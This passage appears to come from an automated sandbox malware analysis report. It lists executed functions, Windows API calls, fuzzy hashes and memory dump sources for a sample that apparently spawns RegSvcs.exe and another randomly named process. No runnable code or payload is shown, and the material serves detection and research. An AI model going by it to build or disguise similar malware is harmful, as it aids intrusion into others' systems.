String ID:
API String ID: 1890195054-0
Opcode ID: 6190796129e2b0b8f5d8a5c12bd0fbf5190cd35283f16bc997f4d0fd76e4aec5
Instruction ID: f837217ff774cb02bf3af2f0883bf6dcd3efbc05cc79a7e6c37b795140fffd18
Opcode Fuzzy Hash: 6190796129e2b0b8f5d8a5c12bd0fbf5190cd35283f16bc997f4d0fd76e4aec5
Instruction Fuzzy Hash: CD1103B1C006599BCB10DF9AC444B9EFBF4AF48310F11816AE918A7240D378A944CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 0639E598 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,0639E51A), ref: 0639E607

Memory Dump Source

Source File: 00000009.00000002.2113306020.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6390000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: ad28ec8215254bf8428e1eb8f92a88743ddb505516a137c0421a904cd30abe44
Instruction ID: 47031c59d19f6539e1912ff2b51bae6160a204735522e52668747acec87bc53f
Opcode Fuzzy Hash: ad28ec8215254bf8428e1eb8f92a88743ddb505516a137c0421a904cd30abe44
Instruction Fuzzy Hash: 5A1142B6C0021A9BCB00CF9AC544BDEFBF4AF48321F11816AD428B7240D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mKSjGvfmIulVB.exePID: 7552, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	67
Total number of Limit Nodes:	6

Executed Functions

Function 0544D998 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0544DA16
GetCurrentThread.KERNEL32 ref: 0544DA53
GetCurrentProcess.KERNEL32 ref: 0544DA90
GetCurrentThreadId.KERNEL32 ref: 0544DAE9

Memory Dump Source

Source File: 0000000B.00000002.2128166700.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5440000_mKSjGvfmIulVB.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 4c41354c0471248be94f08c0ae910563ffba70f7c24674e45477ce3ac4edc909
Instruction ID: 13cf8d1d9cec15f1787919fb958c2c0a30a606986dfd0b6294aedd43ed36a64c
Opcode Fuzzy Hash: 4c41354c0471248be94f08c0ae910563ffba70f7c24674e45477ce3ac4edc909
Instruction Fuzzy Hash: 695143B0D103098FDB14DFAAD548BEEBBF1BB88314F24845AE409A7390DB349984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 074BFC30 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 074BFE66

Memory Dump Source

Source File: 0000000B.00000002.2134776693.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_74b0000_mKSjGvfmIulVB.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a319cf216dbf1e2f3adbc7f54410bef07d1f676eadd2d26a425049fe960f5dec
Instruction ID: 02b4e181f4b57bb81b264c2106b8368c294f5a80cdd64eee7a03f20c262b296a
Opcode Fuzzy Hash: a319cf216dbf1e2f3adbc7f54410bef07d1f676eadd2d26a425049fe960f5dec
Instruction Fuzzy Hash: C5913DB1D0025ACFDB20DFA8CC417DEBBB6BB49310F14856AD819A7250DB749989CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0544B700 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0544B966

Memory Dump Source

Source File: 0000000B.00000002.2128166700.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5440000_mKSjGvfmIulVB.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 03effb5e71bb46a0acc5d052d5694da019f4cc5d77857eb0a3de3718a8dac36d
Instruction ID: a2335b728c8d8b4ba0324c93b1031d450fd935ce3c0c0736b2d18ecff04864c9
Opcode Fuzzy Hash: 03effb5e71bb46a0acc5d052d5694da019f4cc5d77857eb0a3de3718a8dac36d
Instruction Fuzzy Hash: 3A8113B0A00B058FEB64DF6AD44579BBBF2FF88204F10896ED48697B50D774E8498F91

Uniqueness

Uniqueness Score: -1.00%

Function 054458EC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 054459A9

Memory Dump Source

Source File: 0000000B.00000002.2128166700.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5440000_mKSjGvfmIulVB.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b8b82deb4e804f709d36471f974886b1c59d1b05209bcc5a43b37a6bb5daa132
Instruction ID: da6e39b4fe9688976ec853dda146ecc0ebf4945dee61c993982632ec9bc456ed
Opcode Fuzzy Hash: b8b82deb4e804f709d36471f974886b1c59d1b05209bcc5a43b37a6bb5daa132
Instruction Fuzzy Hash: 55419DB0D00619CBDB24DFA9C884BDEFBB5BF49304F20805AD409AB255DB756949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 054444E0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 054459A9

Memory Dump Source

Source File: 0000000B.00000002.2128166700.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5440000_mKSjGvfmIulVB.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 429adefea53c57512b8244e979b8ab26881a9bfefc347e12a5c1bf0d097cdedc
Instruction ID: b0ad74284499b58004a4cb47419cc1cc1bf03bf1a25f32f0130439561355866d
Opcode Fuzzy Hash: 429adefea53c57512b8244e979b8ab26881a9bfefc347e12a5c1bf0d097cdedc
Instruction Fuzzy Hash: 98419DB0D00719CBDB24DFA9C884BDEFBB6BF49304F20806AD409AB255DB756949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0544DBE0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0544DC67

Memory Dump Source

Source File: 0000000B.00000002.2128166700.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5440000_mKSjGvfmIulVB.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1b391aba917c1dff307d27d33252c55affb50aff8c813b2e848a56db6e203345
Instruction ID: 2fd8a1b39b29230fa84dfc315d19bfc4a17329ec9dc74dbb7fe2a6945f055d93
Opcode Fuzzy Hash: 1b391aba917c1dff307d27d33252c55affb50aff8c813b2e848a56db6e203345
Instruction Fuzzy Hash: E121B0B5D002499FDB10CFAAD984ADEBBF9EB48310F14841AE918A3350D379A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0544AC60 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0544B9E1,00000800,00000000,00000000), ref: 0544BBF2

Memory Dump Source

Source File: 0000000B.00000002.2128166700.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5440000_mKSjGvfmIulVB.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b9a54bffd4351a080f308ffe87f6b4391d1da7d71f509174a1a267820c6e7d56
Instruction ID: 73c75d9080219047f41d96fcbd712f196702918496a32d273871635236777027
Opcode Fuzzy Hash: b9a54bffd4351a080f308ffe87f6b4391d1da7d71f509174a1a267820c6e7d56
Instruction Fuzzy Hash: E611E4B6D043499FDB20CF9AD448ADEFBF8EB58310F10846EE519A7600C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0544BB80 Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0544B9E1,00000800,00000000,00000000), ref: 0544BBF2

Memory Dump Source

Source File: 0000000B.00000002.2128166700.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5440000_mKSjGvfmIulVB.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 79a6bf850424296bd75ea06b328e505055d61d62abefcdc85feec88bba05e183
Instruction ID: 57a6012b7eabeff083a6b30092953fdd098d2858da321bceb92100a022c5ac44
Opcode Fuzzy Hash: 79a6bf850424296bd75ea06b328e505055d61d62abefcdc85feec88bba05e183
Instruction Fuzzy Hash: AD11D0B6D002498FDB14CF9AD548ADEFBF8AB88310F14841AD419A7600C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 076236B8 Relevance: 1.5, APIs: 1, Instructions: 49
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0762371D

Memory Dump Source

Source File: 0000000B.00000002.2134844078.0000000007620000.00000040.00000800.00020000.00000000.sdmp, Offset: 07620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7620000_mKSjGvfmIulVB.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 2daebcba8b3e40d417be79e860c049c07f249f7c76e6d8792ea521912414a630
Instruction ID: d30f46565bd29487ddcfd7c02993399263a10a34bcdaeac912e7309ebc11eef9
Opcode Fuzzy Hash: 2daebcba8b3e40d417be79e860c049c07f249f7c76e6d8792ea521912414a630
Instruction Fuzzy Hash: 3011E3B5800349DFDB20DF9AD485BDEBBF8EB59310F20841AE555A7600C375A584CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0544B900 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0544B966

Memory Dump Source

Source File: 0000000B.00000002.2128166700.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5440000_mKSjGvfmIulVB.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: aab9964864674e1874bca59f53b0bec691574fa58748b06281d03e9574f829cf
Instruction ID: d766ba64a8121f98a7c69c7fc1cf9750a9304ac2e2d9c031c971d3cf4ff55028
Opcode Fuzzy Hash: aab9964864674e1874bca59f53b0bec691574fa58748b06281d03e9574f829cf
Instruction Fuzzy Hash: EA11DFB5C002498FDB20DF9AD444ADEFBF4EB88224F10845AD859B7710C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 076218F0 Relevance: 1.5, APIs: 1, Instructions: 47
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0762371D

Memory Dump Source

Source File: 0000000B.00000002.2134844078.0000000007620000.00000040.00000800.00020000.00000000.sdmp, Offset: 07620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7620000_mKSjGvfmIulVB.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: b8279859a9b907730f9fb5f8850f702294506db5f52f56bf718aa58bacde0634
Instruction ID: e791a45f6a099bdfe5c74d22ff49584987d988f28e2511e0b4947e4b4ec048ee
Opcode Fuzzy Hash: b8279859a9b907730f9fb5f8850f702294506db5f52f56bf718aa58bacde0634
Instruction Fuzzy Hash: 6811F2B58007599FDB20DF9AD488BDEFBF8EB49310F10841AE519A7710C379A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0138D1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120650814.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_138d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d280d0004c13a58de9ac6af5d1fb6e60e18495c1181f30bea874beffb0c3088d
Instruction ID: ef6c1d5c1f5f292172130a32ac07cb984757b417b211d8d7c9006d7fa0fef586
Opcode Fuzzy Hash: d280d0004c13a58de9ac6af5d1fb6e60e18495c1181f30bea874beffb0c3088d
Instruction Fuzzy Hash: FC21C4B1504344DFDB06EF98D9C4B26BF65FB88328F24C569ED054A686C336D416CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0138D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120650814.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_138d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7faac438457ba8903a7779118c8cb364a185d3e1f134873ddc69920f896975
Instruction ID: e20f7d0f7333f127e659c15614cff7975b652387d810f21aeebcef7fb09b991e
Opcode Fuzzy Hash: 4a7faac438457ba8903a7779118c8cb364a185d3e1f134873ddc69920f896975
Instruction Fuzzy Hash: F821C1B1504344EFDB05EF58D9C0B26BF65FB8831CF24C56AE9090B696C336D456CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0139D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120716906.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_139d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94baaf5df84a828c7604d777ef50b0f069d1b0e0184fdd580339a84d9321e4b2
Instruction ID: 132f18db6b40dedf0fe06822201932e86bd61fb498961d6c709ef9452d11ebb7
Opcode Fuzzy Hash: 94baaf5df84a828c7604d777ef50b0f069d1b0e0184fdd580339a84d9321e4b2
Instruction Fuzzy Hash: AF2122B1604204DFDF15DFA8D9C5B26BBA5FB84358F24C56DD80A0B346C33AD807CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0139D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120716906.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_139d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b61e50198832a2c15d22ab7d2e64351b43c0419e878328d0449d161f5466b80f
Instruction ID: 2e8db90dcac33d824a15dd51f913f958a18372362434a1d08011749b1575ea2e
Opcode Fuzzy Hash: b61e50198832a2c15d22ab7d2e64351b43c0419e878328d0449d161f5466b80f
Instruction Fuzzy Hash: 662126B1504204EFDF05DF98D9C1B26BBA5FB84328F24C5ADE9894B396C336D406CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0138D1F7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120650814.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_138d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 137f5766051e4324e45f0217ede9c43a14289fab1ea42f994ba2cff73d56ee7c
Instruction ID: 2b88328980c33095de1100bb508500bba40291a7b821cba9dc07d001912ee24f
Opcode Fuzzy Hash: 137f5766051e4324e45f0217ede9c43a14289fab1ea42f994ba2cff73d56ee7c
Instruction Fuzzy Hash: 3421CD76404244CFDB06DF44D9C4B16BF62FB84324F24C2A9DD084A696C33AD42ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0138D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120650814.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_138d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
Instruction ID: d15fb2454bb87deaacbc3245d414ec26bde6e8556e14990a0bded44a179959b5
Opcode Fuzzy Hash: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
Instruction Fuzzy Hash: 6A11E172404380CFCB02DF54D5C4B16BF71FB84318F24C6AAD8490B656C336D45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0139D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120716906.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_139d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction ID: 88414a4b719266cde7d45b3cab849dd8bfa4f995e0cc3d58a5782282013f280a
Opcode Fuzzy Hash: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction Fuzzy Hash: 4911BB75904280DFDB02CF58D5C4B15BBB1FB84228F24C6A9D8894B696C33AD40ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 0139D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120716906.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_139d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction ID: 1889d02d8d516042506830592ea109cd8b38e809818db92603c07bbf2fe18d96
Opcode Fuzzy Hash: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction Fuzzy Hash: A111BB75504280CFDB12CF58D5C4B15BBA2FB84318F24C6AAD8494B756C33AD40ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0138D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120650814.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_138d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57efb61101d81ad0c916faf43837e79fc0db715dc60c338de0dec5434176cf13
Instruction ID: b721a192b709205219ae476abde5c8f87e109f79663a4d049fd46b3161ad147a
Opcode Fuzzy Hash: 57efb61101d81ad0c916faf43837e79fc0db715dc60c338de0dec5434176cf13
Instruction Fuzzy Hash: 6001A7710043849AE7107F99DDC4B66FF9CDF41368F18C51AFD094A2C6D2799845C671

Uniqueness

Uniqueness Score: -1.00%

Function 0138D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2120650814.000000000138D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0138D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_138d000_mKSjGvfmIulVB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4302b9a806e5f9dcffe13af8973d63474207ced92736d231cb6e6a9dbe17b0
Instruction ID: 87ea8c2150ae5423af52c0f9c2ab323f5a6df6485b7ccfad1a72eb71a9a5317b
Opcode Fuzzy Hash: 6a4302b9a806e5f9dcffe13af8973d63474207ced92736d231cb6e6a9dbe17b0
Instruction Fuzzy Hash: ECF0C2714043809EE710AF5ACC88B62FF98EB41238F18C45AFD084A286C3799844CAB0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 7684, Parent PID: 7552COMMON

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	4

Executed Functions

Function 05CDE4B8 Relevance: 1.6, APIs: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.3251996337.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5cd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b96d103e4b061a4c2c37f714c9e8777f5ab06ba70c00f1ad09d87b8c485754
Instruction ID: 47bd83161fac3cf24d14e72135563bd40f26a12186550c926d7cbb4483d3967a
Opcode Fuzzy Hash: d3b96d103e4b061a4c2c37f714c9e8777f5ab06ba70c00f1ad09d87b8c485754
Instruction Fuzzy Hash: A9414871D0839A8FCB10CFA9D8046AEFFF5AF89210F1485ABD505EB241EB749845CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 02E77348 Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 02E773C0

Memory Dump Source

Source File: 0000000E.00000002.3245651258.0000000002E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2e70000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 83253bbd86f2e849a89ecdc760d0f260ca2668f4374351a34bc69d645b4861cd
Instruction ID: 830248ab0119daa24f270c658ffdc867d6c01941f727d626a15b6dad404355d6
Opcode Fuzzy Hash: 83253bbd86f2e849a89ecdc760d0f260ca2668f4374351a34bc69d645b4861cd
Instruction Fuzzy Hash: CD215BB1C0065A9FCB10CFAAD445ADEFBB0BF48324F158269D858B7240D3346944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02E77350 Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 02E773C0

Memory Dump Source

Source File: 0000000E.00000002.3245651258.0000000002E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2e70000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: d8cb315835c7541a73103a56a310461d5483466ca3ec1de1cded4be192293630
Instruction ID: b22ec4759a99835b9631e91a0e1111a650df526f92f36ba340e53be9993e74ed
Opcode Fuzzy Hash: d8cb315835c7541a73103a56a310461d5483466ca3ec1de1cded4be192293630
Instruction Fuzzy Hash: 571144B1C0061A9BCB14CF9AD545B9EFBF4FF88324F15816AD818B7240D378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05CDE5A0 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 05CDE607

Memory Dump Source

Source File: 0000000E.00000002.3251996337.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5cd0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 39820414cbd95fb840f53fb6ec0dfdabfd245fed689bc7bc241ade21af4494db
Instruction ID: e5dd877e6badc4a3f1294fce8b02838b361f600a445769c101c02418f7df522b
Opcode Fuzzy Hash: 39820414cbd95fb840f53fb6ec0dfdabfd245fed689bc7bc241ade21af4494db
Instruction Fuzzy Hash: 6F1120B1C0065A9BCB10CF9AD444BDEFBF8BF88320F15816AD818A7240D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0157D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3245398258.000000000157D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0157D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_157d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 474930236cdf39894f9490c01572976d126585e13520df2c53e85c146868dfae
Instruction ID: b78ad0a58d21ed6ec5f6bd56492688ef652a3a8d799060debb5e239e3f93a85c
Opcode Fuzzy Hash: 474930236cdf39894f9490c01572976d126585e13520df2c53e85c146868dfae
Instruction Fuzzy Hash: 262100B5604200DFDB16DF58E985B2ABBB5FF84314F24C96DD80A0F246D33AD407CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0157D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3245398258.000000000157D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0157D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_157d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfb1d99e79867c3a071e02af9b262a0390457b926817d08ef70b20d581121e80
Instruction ID: 2aebacf81efb1a1ac2198e4ff09d0027c67696e39177e522c69fbe722ccbc2b3
Opcode Fuzzy Hash: cfb1d99e79867c3a071e02af9b262a0390457b926817d08ef70b20d581121e80
Instruction Fuzzy Hash: 412159755093808FDB03CF24D994B15BF71AF46214F28C5AAD8498F6A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: GUIVTme.exePID: 7860, Parent PID: 1028COMMON

Executed Functions

Function 01491340 Relevance: 1.9, Strings: 1, Instructions: 603COMMON

Download Yara Rule

Strings

8gq, xrefs: 01491B75

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID: 8gq
API String ID: 0-1984363304
Opcode ID: 3a2e20dcf178df4816877fd2654bef5b56a9c362e5e28f3cb871fcbeadb083b6
Instruction ID: 14404594a35f83a27ed28c9d8bd8a0c8d8d2b375eda433d991ed581259d7fae4
Opcode Fuzzy Hash: 3a2e20dcf178df4816877fd2654bef5b56a9c362e5e28f3cb871fcbeadb083b6
Instruction Fuzzy Hash: 1232B438B00602CFDB25DF38E49462A7BB2FBC9755B14846ED4068B3A5DB35EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01491230 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

tPcq, xrefs: 014912F7

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID: tPcq
API String ID: 0-3229073321
Opcode ID: e061df67cce919e3517e5f94f2fbf21d23252d51d88c49a29fd7b15d15efcd03
Instruction ID: 323d7022b8b20465f77238ebcf200dd977d106be385fc953b5b3a283e74d78b9
Opcode Fuzzy Hash: e061df67cce919e3517e5f94f2fbf21d23252d51d88c49a29fd7b15d15efcd03
Instruction Fuzzy Hash: FB3116717006228FCB58AB38C45882D7BF2AF8A62535108B9E506CF775DA36DC42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 01491240 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

tPcq, xrefs: 014912F7

Memory Dump Source

Source File: 0000000F.00000002.2180694168.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_GUIVTme.jbxd

Similarity

API ID:
String ID: tPcq
API String ID: 0-3229073321
